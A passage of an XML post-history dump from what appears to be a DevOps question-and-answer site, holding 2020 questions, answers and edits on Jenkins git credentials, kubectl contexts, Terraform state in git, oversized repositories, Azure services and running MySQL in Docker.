directory.&#xD;&#xA;&#xD;&#xA;Port 22 cannot be opened on the server where gitlab is deployed so we cannot use ssh keys method to create the build in Jenkins. We can use only http method to pull the changes.&#xD;&#xA;&#xD;&#xA;Is there any way so we could implement to avoid showing the git credentials in plain text in the project directory.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37808" PostHistoryTypeId="1" PostId="12301" RevisionGUID="239fab47-a278-44c0-b670-3eb8aa93940c" CreationDate="2020-08-29T15:27:18.540" UserId="23722" Text="git reflog is showing plain text password used" ContentLicense="CC BY-SA 4.0" />
  <row Id="37809" PostHistoryTypeId="3" PostId="12301" RevisionGUID="239fab47-a278-44c0-b670-3eb8aa93940c" CreationDate="2020-08-29T15:27:18.540" UserId="23722" Text="&lt;jenkins&gt;&lt;git&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37810" PostHistoryTypeId="2" PostId="12302" RevisionGUID="b6442ea3-05bf-4b10-800d-0361099cb5a0" CreationDate="2020-08-29T23:33:53.047" UserId="23756" Text="I would like to setup a Jenkins cluster where the slaves are building an Android ROM with some parameters like branch (e.g. `lineage-16.0`) and some optional patches. The whole repository will consume around 100GB.&#xD;&#xA;&#xD;&#xA;Let's say i want to build branch `lineage-16.0` with patch-A and patch-B and in parallel build branch `lineage-16.0` with patch-A only and in parallel build branch `lineage-17.1` with no patches and so on.&#xD;&#xA;&#xD;&#xA;I just read about the `--reference` option in `git` (which can also be used in `repo`).&#xD;&#xA;Is it possible to use it this way or will changing the branch and applying patches modify the reference clone as well as it only uses pointers?&#xD;&#xA;&#xD;&#xA;I need to save disk space and network traffic somehow.&#xD;&#xA;If this is not possible is there any other way without duplicating the 100GB for each jenkins job?&#xD;&#xA;I'm also open for other free tools than Jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="37811" PostHistoryTypeId="1" PostId="12302" RevisionGUID="b6442ea3-05bf-4b10-800d-0361099cb5a0" CreationDate="2020-08-29T23:33:53.047" UserId="23756" Text="Jenkins: Re-use repository with reference option and do changes on it" ContentLicense="CC BY-SA 4.0" />
  <row Id="37812" PostHistoryTypeId="3" PostId="12302" RevisionGUID="b6442ea3-05bf-4b10-800d-0361099cb5a0" CreationDate="2020-08-29T23:33:53.047" UserId="23756" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37813" PostHistoryTypeId="2" PostId="12303" RevisionGUID="7206d61f-2fed-4d0d-b8d7-367ee847acf6" CreationDate="2020-08-30T03:05:46.707" UserId="23473" Text="I have a kubernetes Config file such as:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Config&#xD;&#xA;    preferences: {}&#xD;&#xA;    contexts:&#xD;&#xA;    - context:&#xD;&#xA;        cluster: test-sim-development&#xD;&#xA;        namespace: test-sim&#xD;&#xA;        user: developer&#xD;&#xA;      name: test-sim&#xD;&#xA;&#xD;&#xA;When I issue a command such as:&#xD;&#xA;&#xD;&#xA;    kubectl config --kubeconfig infra_k8/config.yaml set-context test-sim &amp;&amp; kubectl config use-context test-sim&#xD;&#xA;&#xD;&#xA;I get back the following error output:&#xD;&#xA;&#xD;&#xA;    Context &quot;test-sim&quot; modified.&#xD;&#xA;    error: no context exists with the name: &quot;test-sim&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why is it not finding the &quot;test-sim&quot; name? It is clearly referenced according to the [kubernetes docs.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37814" PostHistoryTypeId="1" PostId="12303" RevisionGUID="7206d61f-2fed-4d0d-b8d7-367ee847acf6" CreationDate="2020-08-30T03:05:46.707" UserId="23473" Text="config.yaml is not setting up a new context" ContentLicense="CC BY-SA 4.0" />
  <row Id="37815" PostHistoryTypeId="3" PostId="12303" RevisionGUID="7206d61f-2fed-4d0d-b8d7-367ee847acf6" CreationDate="2020-08-30T03:05:46.707" UserId="23473" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37816" PostHistoryTypeId="2" PostId="12304" RevisionGUID="c8216143-40cd-4e07-8ee4-bb2e43dcf369" CreationDate="2020-08-30T05:50:15.330" UserId="23699" Text="it seems you’re trying to change the config by setting a context and you’re not providing the config to the change context command. So do this &#xA;&#xA;    kubectl config --kubeconfig=infra_k8/config.yaml use-context test-sim&#xA;&#xA;The setters are used when you want to add more entries to the config file. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37817" PostHistoryTypeId="5" PostId="12304" RevisionGUID="82863bb4-c2e3-4981-98d8-1350b5ef26df" CreationDate="2020-08-30T05:55:21.587" UserId="23699" Comment="added 53 characters in body; added 1 character in body" Text="it seems you’re trying to change the config by setting a context and you’re not providing the config to the change context command. So do this &#xA;&#xA;    kubectl config --kubeconfig=infra_k8/config.yaml use-context test-sim&#xA;&#xA;The setters are used when you want to add more entries to the config file, so you don’t need that command when changing context. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37818" PostHistoryTypeId="6" PostId="12267" RevisionGUID="05afec5f-d4bd-4e68-98ad-6631dc9b75c2" CreationDate="2020-08-30T08:21:27.407" UserId="3767" Comment="retag (edit summary must have at least 10 characters)" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37819" PostHistoryTypeId="24" PostId="12267" RevisionGUID="05afec5f-d4bd-4e68-98ad-6631dc9b75c2" CreationDate="2020-08-30T08:21:27.407" Comment="Proposed by 3767 approved by 40 edit id of 1269" ContentLicense="CC BY-SA 4.0" />
  <row Id="37820" PostHistoryTypeId="2" PostId="12305" RevisionGUID="67ecee40-2b84-473b-a7e1-d840375a72c0" CreationDate="2020-08-30T15:08:02.850" UserId="15016" Text="Using git for [terraform remote state management][1] is an interesting, but non-standard implementation. Storing binary / large files in git, integrating a locking system and a few other concerns come to mind. Using s3, Buckets or other storage options provide the multiple statefile management (versions in buckets, folders in buckets or [terraform folder structure][2] / [workspaces][3]) and other functionality you mentioned.&#xD;&#xA;&#xD;&#xA;If you would like to pursue using git for remote state management, check out the community project [terraform-backend-git][4]. There is also a good discussion around it in the terraform issues section: https://github.com/hashicorp/terraform/issues/16616.&#xD;&#xA;&#xD;&#xA;If you attempt to use the tool from the community, it would be great to hear about your experience. Good luck!&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/state/remote.html&#xD;&#xA;  [2]: https://www.terraform-best-practices.com/code-structure&#xD;&#xA;  [3]: https://www.terraform.io/docs/state/workspaces.html&#xD;&#xA;  [4]: https://github.com/plumber-cd/terraform-backend-git" ContentLicense="CC BY-SA 4.0" />
  <row Id="37821" PostHistoryTypeId="2" PostId="12306" RevisionGUID="83a3414d-5556-46e8-84b6-b46637e39481" CreationDate="2020-08-30T23:10:44.343" UserId="13379" Text="Why is your &quot;source repo&quot; 100GB?&#xD;&#xA;&#xD;&#xA;Admittedly, the article is several years old, but MS reported [the windows code base repo was the largest known repo at the time and was 300GB](https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/). &#xD;&#xA;&#xD;&#xA;Is your **source** really that big?  Your Git repo should NOT contain derived artifacts (.class, .jar/war, .o, .dll, .exe, etc), nor 3rd-party libraries. There are other tools for that. &#xD;&#xA;&#xD;&#xA;If you check in a binary file, Git will generally store a complete copy (generally non-compressible) of every copy you check in. I have seen developers check-in not just 3rd-party OSS jars in multiple locations in the same repo and same jars across multiple repos, resulting in massive duplication and wasted space, but then keep checking new versions. I've seen both parts of the Weblogic installer ( 2x 600 MB+) checked-in. Ad a found one which was continuously checking in the Docker image he built which included 3party installers, making his repo almost 1GB larger every check-in!&#xD;&#xA;&#xD;&#xA;You don't mention language, but the standard tools for Java libraries has been [Nexus][1] and [Artifactory][2]. They now handle as extensive range of language artifact types as well.&#xD;&#xA;&#xD;&#xA;These tool also create local caches of the artifacts they retrieve so you no longer have to go to the remote host across the network if they have not changed.&#xD;&#xA;&#xD;&#xA;[Git-LFS][3] is an excellent extension to handle large, non-derived binary files (audio samples, videos, datasets, and graphics).&#xD;&#xA;&#xD;&#xA;Look at using [BFG][4] to remove unwanted artifacts from history and compress the repo. &#xD;&#xA;&#xD;&#xA;As documented in the &quot;largest repo ever&quot; article, MS have contributed the &quot;[VFS for Git][5]&quot; to deal with really large repos if that really is the only solution available to you.&#xD;&#xA;&#xD;&#xA;This is not an extensive how-to, just advice, &quot;I think you're doing it wrong and that's why it's a PITA&quot;, plus some pointers to tools. You need to review your entire approach. That may include other tools like [Ansible][6] or [Puppet][7] to manage your infra configuration as well. &#xD;&#xA;&#xD;&#xA;**Summary:** Manage your infrastructure as code and keep only source code in your source code repositories. Or just get a [faster network][8].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-oss&#xD;&#xA;  [2]: https://jfrog.com/artifactory/&#xD;&#xA;  [3]: https://git-lfs.github.com/&#xD;&#xA;  [4]: https://rtyley.github.io/bfg-repo-cleaner/&#xD;&#xA;  [5]: https://vfsforgit.org/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://puppet.com/&#xD;&#xA;  [8]: https://www.sciencedaily.com/releases/2020/05/200522095504.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="37822" PostHistoryTypeId="5" PostId="12306" RevisionGUID="516e0f19-ac95-4c5f-9001-0c304b886bab" CreationDate="2020-08-31T02:19:57.730" UserId="13379" Comment="deleted 1 character in body" Text="Why is your &quot;source repo&quot; 100GB?&#xD;&#xA;&#xD;&#xA;Admittedly, the article is several years old, but MS reported [the windows code base repo was the largest known repo at the time and was 300GB](https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/). &#xD;&#xA;&#xD;&#xA;Is your **source** really that big?  Your Git repo should NOT contain derived artifacts (.class, .jar/war, .o, .dll, .exe, etc), nor 3rd-party libraries. There are other tools for that. &#xD;&#xA;&#xD;&#xA;If you check in a binary file, Git will generally store a complete copy (generally non-compressible) of every copy you check in. I have seen developers check-in not just 3rd-party OSS jars in multiple locations in the same repo and same jars across multiple repos, resulting in massive duplication and wasted space, but then keep checking new versions. I've seen both parts of the Weblogic installer ( 2x 600 MB+) checked-in. And found one which was continuously checking in the Docker image he built which included 3party installers, making his repo almost 1GB larger every check-in!&#xD;&#xA;&#xD;&#xA;You don't mention language, but the standard tools for Java libraries has been [Nexus][1] and [Artifactory][2]. They now handle as extensive range of language artifact types as well.&#xD;&#xA;&#xD;&#xA;These tool also create local caches of the artifacts they retrieve so you no longer have to go to the remote host across the network if they have not changed.&#xD;&#xA;&#xD;&#xA;[Git-LFS][3] is an excellent extension to handle large, non-derived binary files (audio samples, videos, datasets, and graphics).&#xD;&#xA;&#xD;&#xA;Look at using [BFG][4] to remove unwanted artifacts from history and compress the repo. &#xD;&#xA;&#xD;&#xA;As documented in the &quot;largest repo ever&quot; article, MS have contributed the &quot;[VFS for Git][5]&quot; to deal with really large repos if that really is the only solution available to you.&#xD;&#xA;&#xD;&#xA;This is not an extensive how-to, just advice, &quot;I think you're doing it wrong and that's why it's a PITA&quot;, plus some pointers to tools. You need to review your entire approach. That may include other tools like [Ansible][6] or [Puppet][7] to manage your infra configuration as well. &#xD;&#xA;&#xD;&#xA;**Summary:** Manage your infrastructure as code and keep only source code in your source code repositories. Or just get a [faster network][8].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-oss&#xD;&#xA;  [2]: https://jfrog.com/artifactory/&#xD;&#xA;  [3]: https://git-lfs.github.com/&#xD;&#xA;  [4]: https://rtyley.github.io/bfg-repo-cleaner/&#xD;&#xA;  [5]: https://vfsforgit.org/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://puppet.com/&#xD;&#xA;  [8]: https://www.sciencedaily.com/releases/2020/05/200522095504.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="37823" PostHistoryTypeId="5" PostId="12306" RevisionGUID="2371585e-9ae1-4d89-a4d8-78b7dde4d4a7" CreationDate="2020-08-31T03:12:13.783" UserId="13379" Comment="added 142 characters in body" Text="Why is your &quot;source repo&quot; 100GB?&#xD;&#xA;&#xD;&#xA;Admittedly, the article is several years old, but MS reported [the windows code base repo was the largest known repo at the time and was 300GB](https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/). &#xD;&#xA;&#xD;&#xA;Is your **source** really that big?  Your Git repo should NOT contain derived artifacts (.class, .jar/war, .o, .dll, .exe, etc), nor 3rd-party libraries. There are other tools for that.   You can use a [.gitignore][1] file to exclude these file types from being checked into your repo.&#xD;&#xA;&#xD;&#xA;If you check in a binary file, Git will generally store a complete copy (generally non-compressible) of every copy you check in. I have seen developers check-in not just 3rd-party OSS jars in multiple locations in the same repo and same jars across multiple repos, resulting in massive duplication and wasted space, but then keep checking new versions. I've seen both parts of the Weblogic installer ( 2x 600 MB+) checked-in. And found one which was continuously checking in the Docker image he built which included 3party installers, making his repo almost 1GB larger every check-in!&#xD;&#xA;&#xD;&#xA;You don't mention language, but the standard tools for Java libraries has been [Nexus][2] and [Artifactory][3]. They now handle as extensive range of language artifact types as well.&#xD;&#xA;&#xD;&#xA;These tool also create local caches of the artifacts they retrieve so you no longer have to go to the remote host across the network if they have not changed.&#xD;&#xA;&#xD;&#xA;[Git-LFS][4] is an excellent extension to handle large, non-derived binary files (audio samples, videos, datasets, and graphics).&#xD;&#xA;&#xD;&#xA;Look at using [BFG][5] to remove unwanted artifacts from history and compress the repo. &#xD;&#xA;&#xD;&#xA;As documented in the &quot;largest repo ever&quot; article, MS have contributed the &quot;[VFS for Git][6]&quot; to deal with really large repos if that really is the only solution available to you.&#xD;&#xA;&#xD;&#xA;This is not an extensive how-to, just advice, &quot;I think you're doing it wrong and that's why it's a PITA&quot;, plus some pointers to tools. You need to review your entire approach. That may include other tools like [Ansible][7] or [Puppet][8] to manage your infra configuration as well. &#xD;&#xA;&#xD;&#xA;**Summary:** Manage your infrastructure as code and keep only source code in your source code repositories. Or just get a [faster network][9].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/docs/gitignore&#xD;&#xA;  [2]: https://www.sonatype.com/nexus-repository-oss&#xD;&#xA;  [3]: https://jfrog.com/artifactory/&#xD;&#xA;  [4]: https://git-lfs.github.com/&#xD;&#xA;  [5]: https://rtyley.github.io/bfg-repo-cleaner/&#xD;&#xA;  [6]: https://vfsforgit.org/&#xD;&#xA;  [7]: https://www.ansible.com/&#xD;&#xA;  [8]: https://puppet.com/&#xD;&#xA;  [9]: https://www.sciencedaily.com/releases/2020/05/200522095504.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="37824" PostHistoryTypeId="2" PostId="12307" RevisionGUID="3afd7e93-1b5c-4551-bf20-2d3f2303d460" CreationDate="2020-08-31T05:33:06.487" UserId="22321" Text="each step actually can run on each branch except you limit it with 'only' options. it will be more flexible to you. Please see this documentation section. [https://docs.gitlab.com/ee/ci/yaml/#onlyexcept-basic][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#onlyexcept-basic" ContentLicense="CC BY-SA 4.0" />
  <row Id="37825" PostHistoryTypeId="2" PostId="12308" RevisionGUID="03954dd6-2573-4201-836d-8d8dc62b5286" CreationDate="2020-08-31T10:12:10.283" UserId="23762" Text="Wondering if possible to run multiple windows in command script. I have a nose.js file that automates an online process and wish to run it once in cmd so it has multiple windows doing the same thing for efficiency purposes. Please help" ContentLicense="CC BY-SA 4.0" />
  <row Id="37826" PostHistoryTypeId="1" PostId="12308" RevisionGUID="03954dd6-2573-4201-836d-8d8dc62b5286" CreationDate="2020-08-31T10:12:10.283" UserId="23762" Text="How to run multiple windows in cmd" ContentLicense="CC BY-SA 4.0" />
  <row Id="37827" PostHistoryTypeId="3" PostId="12308" RevisionGUID="03954dd6-2573-4201-836d-8d8dc62b5286" CreationDate="2020-08-31T10:12:10.283" UserId="23762" Text="&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37831" PostHistoryTypeId="2" PostId="12310" RevisionGUID="a7a2d34b-1543-4f66-943c-88f5be047234" CreationDate="2020-08-31T15:08:32.250" UserId="23642" Text="Do you think this might help you?&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/automation/update-management/update-mgmt-overview#:~:text=You%20can%20use%20Update%20Management,and%20in%20other%20cloud%20environments.&amp;text=For%20multiple%20Azure%20VMs%20by,page%20in%20the%20Azure%20portal.&#xD;&#xA;&#xD;&#xA;If your VM is disposable and you can replace it with a new VM then you can also use VM Image galleryfor Linux where you can have images for a VM or multiple VM types and you can update it at one place using Azure DevOps and then update the underlying VM image&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-gallery-update-image-version" ContentLicense="CC BY-SA 4.0" />
  <row Id="37832" PostHistoryTypeId="2" PostId="12311" RevisionGUID="0ed9a666-b9b7-4620-9212-a286bca2e078" CreationDate="2020-08-31T15:19:39.827" UserId="23642" Text="You can use Azure Files&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/storage/files/storage-files-introduction&#xD;&#xA;&#xD;&#xA;Limits for it can be found from here&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/storage/files/storage-files-scale-targets" ContentLicense="CC BY-SA 4.0" />
  <row Id="37834" PostHistoryTypeId="2" PostId="12313" RevisionGUID="92044a0b-e076-4527-baec-55f7cd9c7a66" CreationDate="2020-08-31T15:25:06.687" UserId="23642" Text="So you can use something like Azure Event Grid where you can listen to events from different types of Azure Resources and then that event could be listened to by a Webhook trigger which then can trigger your pipeline, see here:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/event-grid/overview" ContentLicense="CC BY-SA 4.0" />
  <row Id="37835" PostHistoryTypeId="2" PostId="12314" RevisionGUID="c37f920e-e5a5-40f4-a78e-ed08a2ea60f5" CreationDate="2020-08-31T15:29:32.957" UserId="23642" Text="if both are running 'warmed up' and in 'Always On' mode then the swap would not cause a restart of any kind. But go to this URL and read the point #1 and if any of these things are done then it will restart.&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/app-service/deploy-staging-slots#what-happens-during-a-swap" ContentLicense="CC BY-SA 4.0" />
  <row Id="37836" PostHistoryTypeId="2" PostId="12315" RevisionGUID="d4190869-fc74-4442-b72c-81b0e6447138" CreationDate="2020-08-31T15:38:07.603" UserId="23642" Text="if you are doing ARM then follow the replace ideology if you can manage to have things stateless but if not then maybe go via the Terraform route than ARM IMHO" ContentLicense="CC BY-SA 4.0" />
  <row Id="37837" PostHistoryTypeId="2" PostId="12316" RevisionGUID="1cf2dbc5-3cf7-4372-9915-412c533c09a6" CreationDate="2020-08-31T15:44:35.023" UserId="23642" Text="Follow this article&#xD;&#xA;https://docs.microsoft.com/en-us/azure/azure-sql/database/resource-limits-vcore-single-databases#general-purpose---serverless-compute---gen5&#xD;&#xA;&#xD;&#xA;But in serverless mode you will have to look at limits for the vCores your DB is using at that second, so if vCores are 4 then you will have limit of 1280 and Throughput of '5-7 ms (write) and 5-10 ms (read)'" ContentLicense="CC BY-SA 4.0" />
  <row Id="37838" PostHistoryTypeId="5" PostId="12316" RevisionGUID="afcb3810-ee4a-46b5-bc3f-d90fc3ea058f" CreationDate="2020-08-31T15:54:45.903" UserId="354" Comment="make the url a link" Text="Follow [this article](&#xD;&#xA;https://docs.microsoft.com/en-us/azure/azure-sql/database/resource-limits-vcore-single-databases#general-purpose---serverless-compute---gen5)&#xD;&#xA;&#xD;&#xA;But in serverless mode you will have to look at limits for the vCores your DB is using at that second, so if vCores are 4 then you will have limit of 1280 and Throughput of '5-7 ms (write) and 5-10 ms (read)'" ContentLicense="CC BY-SA 4.0" />
  <row Id="37839" PostHistoryTypeId="5" PostId="11724" RevisionGUID="5b98c07f-511e-49b3-b8ca-d5b5deee9606" CreationDate="2020-08-31T15:55:29.403" UserId="354" Comment="fix spelling" Text="I'm running a serverless SQL database in azure, taking a load from some data transformed by Databricks.&#xD;&#xA;&#xD;&#xA;Every time I try to write to the database the, IOPS percentage shows up as 100% which makes it clear that this is my bottleneck. &#xD;&#xA;&#xD;&#xA;In the database configuration tab, I can see that for general purpose I get 500-20000 IOPS provisioned. But how do I actually get and can I control this in any way? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37840" PostHistoryTypeId="5" PostId="12316" RevisionGUID="0b6225b9-d6cf-4e52-91d3-c7c26775e6a6" CreationDate="2020-08-31T16:29:33.833" UserId="23642" Comment="added image for serverless service tier limit" Text="Follow [this article](&#xD;&#xA;https://docs.microsoft.com/en-us/azure/azure-sql/database/resource-limits-vcore-single-databases#general-purpose---serverless-compute---gen5)&#xD;&#xA;&#xD;&#xA;But in serverless mode you will have to look at limits for the vCores your DB is using at that second, so if vCores are 4 then you will have limit of 1280 and Throughput of '5-7 ms (write) and 5-10 ms (read)'&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ODIaP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="37844" PostHistoryTypeId="2" PostId="12317" RevisionGUID="1a0a733e-2143-4b1e-8501-324cf0dfac3c" CreationDate="2020-09-01T07:00:25.443" UserId="23443" Text="&#xD;&#xA;Just getting started, want to run the **downloaded** version of `mysql`:&#xD;&#xA;&#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker images&#xD;&#xA;    REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    basex/basexhttp      latest              3339bf6bc898        4 days ago          226MB&#xD;&#xA;    twilio/twilio-java   latest              611ab7ece1cf        12 days ago         993MB&#xD;&#xA;    mysql                latest              0d64f46acfd1        3 weeks ago         544MB&#xD;&#xA;    jetty                latest              5f997007f18d        4 weeks ago         522MB&#xD;&#xA;    hello-world          latest              bf756fb1ae65        8 months ago        13.3kB&#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker run hello-world&#xD;&#xA;    &#xD;&#xA;    Hello from Docker!&#xD;&#xA;    This message shows that your installation appears to be working correctly.&#xD;&#xA;    &#xD;&#xA;    To generate this message, Docker took the following steps:&#xD;&#xA;     1. The Docker client contacted the Docker daemon.&#xD;&#xA;     2. The Docker daemon pulled the &quot;hello-world&quot; image from the Docker Hub.&#xD;&#xA;        (amd64)&#xD;&#xA;     3. The Docker daemon created a new container from that image which runs the&#xD;&#xA;        executable that produces the output you are currently reading.&#xD;&#xA;     4. The Docker daemon streamed that output to the Docker client, which sent it&#xD;&#xA;        to your terminal.&#xD;&#xA;    &#xD;&#xA;    To try something more ambitious, you can run an Ubuntu container with:&#xD;&#xA;     $ docker run -it ubuntu bash&#xD;&#xA;    &#xD;&#xA;    Share images, automate workflows, and more with a free Docker ID:&#xD;&#xA;     https://hub.docker.com/&#xD;&#xA;    &#xD;&#xA;    For more examples and ideas, visit:&#xD;&#xA;     https://docs.docker.com/get-started/&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker run mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password &#xD;&#xA;    2020-09-01 06:53:03+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;    2020-09-01 06:53:03+00:00 [ERROR] [Entrypoint]: mysqld failed while attempting to check config&#xD;&#xA;    	command was: mysqld -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password --verbose --help&#xD;&#xA;    	Enter password: mysqld: Can not perform keyring migration : Invalid --keyring-migration-source option.&#xD;&#xA;    2020-09-01T06:53:03.366882Z 0 [ERROR] [MY-011084] [Server] Keyring migration failed.&#xD;&#xA;    2020-09-01T06:53:03.368621Z 0 [ERROR] [MY-010119] [Server] Aborting&#xD;&#xA;    root:~# &#xD;&#xA;&#xD;&#xA;Without [re-downloading][1] the image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/33795923/4531180" ContentLicense="CC BY-SA 4.0" />
  <row Id="37845" PostHistoryTypeId="1" PostId="12317" RevisionGUID="1a0a733e-2143-4b1e-8501-324cf0dfac3c" CreationDate="2020-09-01T07:00:25.443" UserId="23443" Text="how to send a password to MySQL with docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37846" PostHistoryTypeId="3" PostId="12317" RevisionGUID="1a0a733e-2143-4b1e-8501-324cf0dfac3c" CreationDate="2020-09-01T07:00:25.443" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;images&gt;&lt;mysql&gt;&lt;passwords&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37848" PostHistoryTypeId="2" PostId="12319" RevisionGUID="00d76fd6-a606-4354-86da-3c503e951e21" CreationDate="2020-09-01T08:32:18.853" UserId="23443" Text="How can I [create][1] a `MySQL` docker container as below in the background:&#xD;&#xA;&#xD;&#xA;    root:~# &#xD;&#xA;    root:~# docker run -e MYSQL_ROOT_PASSWORD=pass --name sql-db -p 3306:3306 mysql &amp;&#xD;&#xA;    [1] 137878&#xD;&#xA;    root:~# 2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;    2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'&#xD;&#xA;    2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;    2020-09-01 08:25:52+00:00 [Note] [Entrypoint]: Initializing database files&#xD;&#xA;    2020-09-01T08:25:52.978020Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.21) initializing of server in progress as process 42&#xD;&#xA;    2020-09-01T08:25:52.986993Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# 2020-09-01T08:26:03.346159Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;    2020-09-01T08:26:29.360246Z 6 [Warning] [MY-010453] [Server] root@localhost is created with an empty password ! Please consider switching off the --initialize-insecure option.&#xD;&#xA;    &#xD;&#xA;    root:~# &#xD;&#xA;    root:~# 2020-09-01 08:27:35+00:00 [Note] [Entrypoint]: Database files initialized&#xD;&#xA;    2020-09-01 08:27:35+00:00 [Note] [Entrypoint]: Starting temporary server&#xD;&#xA;    2020-09-01T08:27:35.640682Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.21) starting as process 89&#xD;&#xA;    2020-09-01T08:27:35.782142Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;    2020-09-01T08:27:37.207138Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;    2020-09-01T08:27:37.562152Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Socket: /var/run/mysqld/mysqlx.sock&#xD;&#xA;    2020-09-01T08:27:38.036662Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.&#xD;&#xA;    2020-09-01T08:27:38.036911Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.&#xD;&#xA;    2020-09-01T08:27:38.071799Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.&#xD;&#xA;    2020-09-01T08:27:38.105387Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.21'  socket: '/var/run/mysqld/mysqld.sock'  port: 0  MySQL Community Server - GPL.&#xD;&#xA;    2020-09-01 08:27:38+00:00 [Note] [Entrypoint]: Temporary server started.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/iso3166.tab' as time zone. Skipping it.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/leap-seconds.list' as time zone. Skipping it.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/zone.tab' as time zone. Skipping it.&#xD;&#xA;    Warning: Unable to load '/usr/share/zoneinfo/zone1970.tab' as time zone. Skipping it.&#xD;&#xA;    &#xD;&#xA;    2020-09-01 08:27:51+00:00 [Note] [Entrypoint]: Stopping temporary server&#xD;&#xA;    2020-09-01T08:27:51.591046Z 10 [System] [MY-013172] [Server] Received SHUTDOWN from user root. Shutting down mysqld (Version: 8.0.21).&#xD;&#xA;    2020-09-01T08:28:09.444982Z 0 [System] [MY-010910] [Server] /usr/sbin/mysqld: Shutdown complete (mysqld 8.0.21)  MySQL Community Server - GPL.&#xD;&#xA;    2020-09-01 08:28:09+00:00 [Note] [Entrypoint]: Temporary server stopped&#xD;&#xA;    &#xD;&#xA;    2020-09-01 08:28:09+00:00 [Note] [Entrypoint]: MySQL init process done. Ready for start up.&#xD;&#xA;    &#xD;&#xA;    2020-09-01T08:28:10.181619Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.21) starting as process 1&#xD;&#xA;    2020-09-01T08:28:10.297757Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;    2020-09-01T08:28:11.863493Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;    2020-09-01T08:28:12.702126Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 